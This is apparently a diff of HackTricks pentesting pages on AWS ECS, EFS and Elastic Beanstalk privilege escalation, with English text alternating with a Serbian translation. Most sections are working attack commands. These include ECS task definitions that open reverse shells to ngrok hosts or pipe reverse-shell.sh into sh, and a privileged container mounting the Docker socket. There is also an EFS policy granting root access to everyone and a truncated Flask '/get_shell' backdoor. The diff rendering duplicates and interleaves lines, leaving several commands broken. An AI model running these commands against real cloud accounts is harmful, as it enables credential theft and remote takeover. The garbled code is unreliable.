## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to a different ECS role.
|
||||
**Potencijalni uticaj:** Direktno privesc na drugu ECS ulogu.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\
|
||||
However, in this case, a container instance to run the malicious task definition need to be.
|
||||
|
||||
Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dozvole u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti ga**.\
|
||||
Međutim, u ovom slučaju, potrebna je instanca kontejnera za pokretanje maliciozne definicije zadatka.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 --memory 512\
|
||||
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 --memory 512\
|
||||
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
|
||||
|
||||
aws ecs start-task --task-definition iam_exfiltration \
|
||||
--container-instances <instance_id>
|
||||
--container-instances <instance_id>
|
||||
|
||||
# Delete task definition
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to any ECS role.
|
||||
**Potencijalni uticaj:** Direktno privesc na bilo koju ECS ulogu.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.**
|
||||
|
||||
Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade metapodatke akreditiva i **pokrenuti je kreiranjem nove usluge sa najmanje 1 zadatkom koji se izvršava.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
--task-role-arn "$ECS_ROLE_ARN" \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 --memory 512\
|
||||
--requires-compatibilities "[\"FARGATE\"]" \
|
||||
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
|
||||
--task-role-arn "$ECS_ROLE_ARN" \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 --memory 512\
|
||||
--requires-compatibilities "[\"FARGATE\"]" \
|
||||
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
|
||||
|
||||
# Run the task creating a service
|
||||
aws ecs create-service --service-name exfiltration \
|
||||
--task-definition iam_exfiltration \
|
||||
--desired-count 1 \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--launch-type FARGATE \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
|
||||
--task-definition iam_exfiltration \
|
||||
--desired-count 1 \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--launch-type FARGATE \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
|
||||
|
||||
# Run the task updating a service
|
||||
aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to any ECS role.
|
||||
**Potencijalni Uticaj:** Direktno privesc na bilo koju ECS ulogu.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like:
|
||||
|
||||
U stvari, samo sa tim dozvolama moguće je koristiti override da izvršite proizvoljne komande u kontejneru sa proizvoljnom ulogom sa nečim poput:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
--task-definition "<task-name>" \
|
||||
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to any ECS role.
|
||||
**Potencijalni uticaj:** Direktno privesc na bilo koju ECS ulogu.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
|
||||
This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
|
||||
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
Ovaj scenario je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
|
||||
Ovo je i dalje zanimljivo jer ako možete pokrenuti proizvoljni kontejner, čak i bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukradete EC2 IAM ulogu** i **druge ECS uloge kontejnera** koje se izvršavaju na čvoru.\
|
||||
Možete čak i **prisiliti druge zadatke da se izvršavaju unutar EC2 instance** koju kompromitujete da biste ukrali njihove akreditive (kao što je objašnjeno u [**odeljku Privesc na čvor**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.
|
||||
|
||||
> Ovaj napad je moguć samo ako **ECS klaster koristi EC2** instance, a ne Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
"name":"exfil_creds",
|
||||
"image":"python:latest",
|
||||
"entryPoint":["sh", "-c"],
|
||||
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
|
||||
"mountPoints": [
|
||||
{
|
||||
"readOnly": false,
|
||||
"containerPath": "/var/run/docker.sock",
|
||||
"sourceVolume": "docker-socket"
|
||||
}
|
||||
]
|
||||
}
|
||||
{
|
||||
"name":"exfil_creds",
|
||||
"image":"python:latest",
|
||||
"entryPoint":["sh", "-c"],
|
||||
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
|
||||
"mountPoints": [
|
||||
{
|
||||
"readOnly": false,
|
||||
"containerPath": "/var/run/docker.sock",
|
||||
"sourceVolume": "docker-socket"
|
||||
}
|
||||
]
|
||||
}
|
||||
]' > /tmp/task.json
|
||||
|
||||
printf '[
|
||||
{
|
||||
"name": "docker-socket",
|
||||
"host": {
|
||||
"sourcePath": "/var/run/docker.sock"
|
||||
}
|
||||
}
|
||||
{
|
||||
"name": "docker-socket",
|
||||
"host": {
|
||||
"sourcePath": "/var/run/docker.sock"
|
||||
}
|
||||
}
|
||||
]' > /tmp/volumes.json
|
||||
|
||||
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
--cpu 256 --memory 512 \
|
||||
--requires-compatibilities '["EC2"]' \
|
||||
--container-definitions file:///tmp/task.json \
|
||||
--volumes file:///tmp/volumes.json
|
||||
--cpu 256 --memory 512 \
|
||||
--requires-compatibilities '["EC2"]' \
|
||||
--container-definitions file:///tmp/task.json \
|
||||
--volumes file:///tmp/volumes.json
|
||||
|
||||
|
||||
aws ecs run-task --task-definition iam_exfiltration \
|
||||
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
|
||||
--launch-type EC2
|
||||
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
|
||||
--launch-type EC2
|
||||
|
||||
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
|
||||
```
|
||||
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
|
||||
However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't).
|
||||
Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebna su prava za opis jer je neophodno pokrenuti `aws ecs execute-command`).\
|
||||
Međutim, da bi to uradio, instanca kontejnera mora da pokreće **ExecuteCommand agent** (što po defaultu nije slučaj).
|
||||
|
||||
Therefore, the attacker cloud try to:
|
||||
|
||||
- **Try to run a command** in every running container
|
||||
Stoga, napadač može pokušati da:
|
||||
|
||||
- **Pokuša da izvrši komandu** u svakom pokrenutom kontejneru
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
echo "Cluster $cluster"
|
||||
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
|
||||
echo " Task $task"
|
||||
# If true, it's your lucky day
|
||||
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
|
||||
done
|
||||
echo "Cluster $cluster"
|
||||
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
|
||||
echo " Task $task"
|
||||
# If true, it's your lucky day
|
||||
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
|
||||
done
|
||||
done
|
||||
|
||||
# Execute a shell in a container
|
||||
aws ecs execute-command --interactive \
|
||||
--command "sh" \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
--command "sh" \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Ako ima **`ecs:RunTask`**, pokrenite zadatak sa `aws ecs run-task --enable-execute-command [...]`
|
||||
- Ako ima **`ecs:StartTask`**, pokrenite zadatak sa `aws ecs start-task --enable-execute-command [...]`
|
||||
- Ako ima **`ecs:CreateService`**, kreirajte servis sa `aws ecs create-service --enable-execute-command [...]`
|
||||
- Ako ima **`ecs:UpdateService`**, ažurirajte servis sa `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
|
||||
- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
|
||||
- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
|
||||
- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]`
|
||||
Možete pronaći **primere tih opcija** u **prethodnim ECS privesc sekcijama**.
|
||||
|
||||
You can find **examples of those options** in **previous ECS privesc sections**.
|
||||
|
||||
**Potential Impact:** Privesc to a different role attached to containers.
|
||||
**Potencijalni uticaj:** Privesc na drugu ulogu vezanu za kontejnere.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**:
|
||||
Proverite na **ssm privesc stranici** kako možete zloupotrebiti ovu dozvolu za **privesc na ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -198,7 +186,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**:
|
||||
Proverite na **ec2 privesc stranici** kako možete zloupotrebiti ove dozvole za **privesc na ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -206,30 +194,29 @@ aws-ec2-privesc.md
|
||||
|
||||
### `?ecs:RegisterContainerInstance`
|
||||
|
||||
TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
|
||||
TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se zadaci pokreću na mašinama koje kontroliše napadač??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test this
|
||||
|
||||
An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**.
|
||||
> TODO: Testirajte ovo
|
||||
|
||||
Napadač sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati zloćudni set zadataka za postojeći ECS servis i ažurirati primarni set zadataka**. Ovo omogućava napadaču da **izvrši proizvoljan kod unutar servisa**.
|
||||
```bash
|
||||
bashCopy code# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
"family": "malicious-task",
|
||||
"containerDefinitions": [
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "alpine",
|
||||
"command": [
|
||||
"sh",
|
||||
"-c",
|
||||
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
|
||||
]
|
||||
}
|
||||
]
|
||||
"family": "malicious-task",
|
||||
"containerDefinitions": [
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "alpine",
|
||||
"command": [
|
||||
"sh",
|
||||
"-c",
|
||||
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
|
||||
]
|
||||
}
|
||||
]
|
||||
}' > malicious-task-definition.json
|
||||
|
||||
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
|
||||
@@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Potencijalni uticaj**: Izvršavanje proizvoljnog koda u pogođenoj usluzi, što može uticati na njenu funkcionalnost ili eksfiltrirati osetljive podatke.
|
||||
|
||||
**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,97 +4,83 @@
|
||||
|
||||
## EFS
|
||||
|
||||
More **info about EFS** in:
|
||||
Više **informacija o EFS** u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it.
|
||||
Zapamtite da da biste montirali EFS, morate biti u podmreži gde je EFS izložen i imati pristup njemu (grupe bezbednosti). Ako se to dešava, po defaultu, uvek ćete moći da ga montirate, međutim, ako je zaštićen IAM politikama, potrebno je da imate dodatne dozvole navedene ovde da biste mu pristupili.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
|
||||
|
||||
With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted.
|
||||
|
||||
To delete the policy:
|
||||
Sa bilo kojom od tih dozvola, napadač može **promeniti politiku datotečnog sistema** da **omogući pristup** njemu, ili samo **izbrisati** tako da se **default pristup** dodeli.
|
||||
|
||||
Da biste izbrisali politiku:
|
||||
```bash
|
||||
aws efs delete-file-system-policy \
|
||||
--file-system-id <value>
|
||||
--file-system-id <value>
|
||||
```
|
||||
|
||||
To change it:
|
||||
|
||||
Da biste to promenili:
|
||||
```json
|
||||
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
|
||||
|
||||
// Give everyone trying to mount it read, write and root access
|
||||
// policy.json:
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"elasticfilesystem:ClientRootAccess",
|
||||
"elasticfilesystem:ClientWrite",
|
||||
"elasticfilesystem:ClientMount"
|
||||
],
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"elasticfilesystem:AccessedViaMountTarget": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"elasticfilesystem:ClientRootAccess",
|
||||
"elasticfilesystem:ClientWrite",
|
||||
"elasticfilesystem:ClientMount"
|
||||
],
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"elasticfilesystem:AccessedViaMountTarget": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
|
||||
|
||||
With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**.
|
||||
|
||||
Sa ovom dozvolom, napadač će moći da **montira EFS**. Ako dozvola za pisanje nije data podrazumevano svima koji mogu da montiraju EFS, imaće samo **pristup za čitanje**.
|
||||
```bash
|
||||
sudo mkdir /efs
|
||||
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
|
||||
```
|
||||
Dodatne dozvole `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:ClientWrite` mogu se koristiti za **pisanje** unutar datotečnog sistema nakon što je montiran i za **pristup** tom datotečnom sistemu **kao root**.
|
||||
|
||||
The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**.
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the file system.
|
||||
**Potencijalni uticaj:** Indirektno privesc pronalaženjem osetljivih informacija u datotečnom sistemu.
|
||||
|
||||
### `elasticfilesystem:CreateMountTarget`
|
||||
|
||||
If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege:
|
||||
|
||||
Ako je napadač unutar **podmreže** gde **nema mount target** EFS-a. On bi mogao jednostavno **da kreira jedan u svojoj podmreži** sa ovom privilegijom:
|
||||
```bash
|
||||
# You need to indicate security groups that will grant the user access to port 2049
|
||||
aws efs create-mount-target --file-system-id <fs-id> \
|
||||
--subnet-id <value> \
|
||||
--security-groups <value>
|
||||
--subnet-id <value> \
|
||||
--security-groups <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the file system.
|
||||
**Potencijalni uticaj:** Indirektno privesc pronalaženjem osetljivih informacija u fajl sistemu.
|
||||
|
||||
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
|
||||
|
||||
In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**:
|
||||
|
||||
U scenariju gde napadač otkrije da EFS ima mount target u njegovoj podmreži, ali **nema sigurnosne grupe koja dozvoljava saobraćaj**, mogao bi jednostavno **promeniti to modifikovanjem odabranih sigurnosnih grupa**:
|
||||
```bash
|
||||
aws efs modify-mount-target-security-groups \
|
||||
--mount-target-id <value> \
|
||||
--security-groups <value>
|
||||
--mount-target-id <value> \
|
||||
--security-groups <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the file system.
|
||||
**Potencijalni uticaj:** Indirektno eskaliranje privilegija pronalaženjem osetljivih informacija u fajl sistemu.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,19 +4,18 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
More **info about Elastic Beanstalk** in:
|
||||
Više **informacija o Elastic Beanstalk** u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
|
||||
> Da biste izvršili osetljive radnje u Beanstalk-u, biće vam potrebne **mnoge osetljive dozvole u mnogim različitim servisima**. Možete proveriti, na primer, dozvole koje su date **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
|
||||
|
||||
### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others
|
||||
|
||||
With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it.
|
||||
### `elasticbeanstalk:RebuildEnvironment`, S3 dozvole za pisanje i mnoge druge
|
||||
|
||||
Sa **dozvolama za pisanje nad S3 bucket-om** koji sadrži **kod** okruženja i dozvolama za **ponovno izgradnju** aplikacije (potrebno je `elasticbeanstalk:RebuildEnvironment` i još nekoliko povezanih sa `S3`, `EC2` i `Cloudformation`), možete **modifikovati** **kod**, **ponovo izgraditi** aplikaciju i sledeći put kada pristupite aplikaciji, ona će **izvršiti vaš novi kod**, omogućavajući napadaču da kompromituje aplikaciju i IAM uloge njene kredencijale.
|
||||
```bash
|
||||
# Create folder
|
||||
mkdir elasticbeanstalk-eu-west-1-947247140022
|
||||
@@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
|
||||
# Rebuild env
|
||||
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
|
||||
```
|
||||
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i još...
|
||||
|
||||
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
|
||||
|
||||
The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch.
|
||||
|
||||
- Create an AWS Elastic Beanstalk application:
|
||||
Pomenute, plus nekoliko **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** dozvola su neophodne za kreiranje osnovnog Elastic Beanstalk scenarija od nule.
|
||||
|
||||
- Kreirajte AWS Elastic Beanstalk aplikaciju:
|
||||
```bash
|
||||
aws elasticbeanstalk create-application --application-name MyApp
|
||||
```
|
||||
|
||||
- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
|
||||
|
||||
- Kreirajte AWS Elastic Beanstalk okruženje ([**podržane platforme**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
|
||||
```bash
|
||||
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
|
||||
```
|
||||
Ako je okruženje već kreirano i **ne želite da kreirate novo**, možete jednostavno **ažurirati** postojeće.
|
||||
|
||||
If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one.
|
||||
|
||||
- Package your application code and dependencies into a ZIP file:
|
||||
|
||||
- Pakujte svoj aplikacioni kod i zavisnosti u ZIP datoteku:
|
||||
```python
|
||||
zip -r MyApp.zip .
|
||||
```
|
||||
|
||||
- Upload the ZIP file to an S3 bucket:
|
||||
|
||||
- Učitajte ZIP datoteku u S3 kantu:
|
||||
```python
|
||||
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
|
||||
```
|
||||
|
||||
- Create an AWS Elastic Beanstalk application version:
|
||||
|
||||
- Kreirajte verziju aplikacije AWS Elastic Beanstalk:
|
||||
```css
|
||||
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
|
||||
```
|
||||
|
||||
- Deploy the application version to your AWS Elastic Beanstalk environment:
|
||||
|
||||
- Implementirajte verziju aplikacije u vaše AWS Elastic Beanstalk okruženje:
|
||||
```bash
|
||||
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
|
||||
```
|
||||
|
||||
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
|
||||
|
||||
First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**:
|
||||
Prvo što treba da uradite je da kreirate **legitiman Beanstalk okruženje** sa **kodom** koji želite da pokrenete u **žrtvi** prateći **prethodne korake**. Potencijalno jednostavan **zip** koji sadrži ova **2 fajla**:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="application.py" }}
|
||||
|
||||
```python
|
||||
from flask import Flask, request, jsonify
|
||||
import subprocess,os, socket
|
||||
@@ -89,34 +74,32 @@ application = Flask(__name__)
|
||||
|
||||
@application.errorhandler(404)
|
||||
def page_not_found(e):
|
||||
return jsonify('404')
|
||||
return jsonify('404')
|
||||
|
||||
@application.route("/")
|
||||
def index():
|
||||
return jsonify('Welcome!')
|
||||
return jsonify('Welcome!')
|
||||
|
||||
|
||||
@application.route("/get_shell")
|
||||
def search():
|
||||
host=request.args.get('host')
|
||||
port=request.args.get('port')
|
||||
if host and port:
|
||||
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
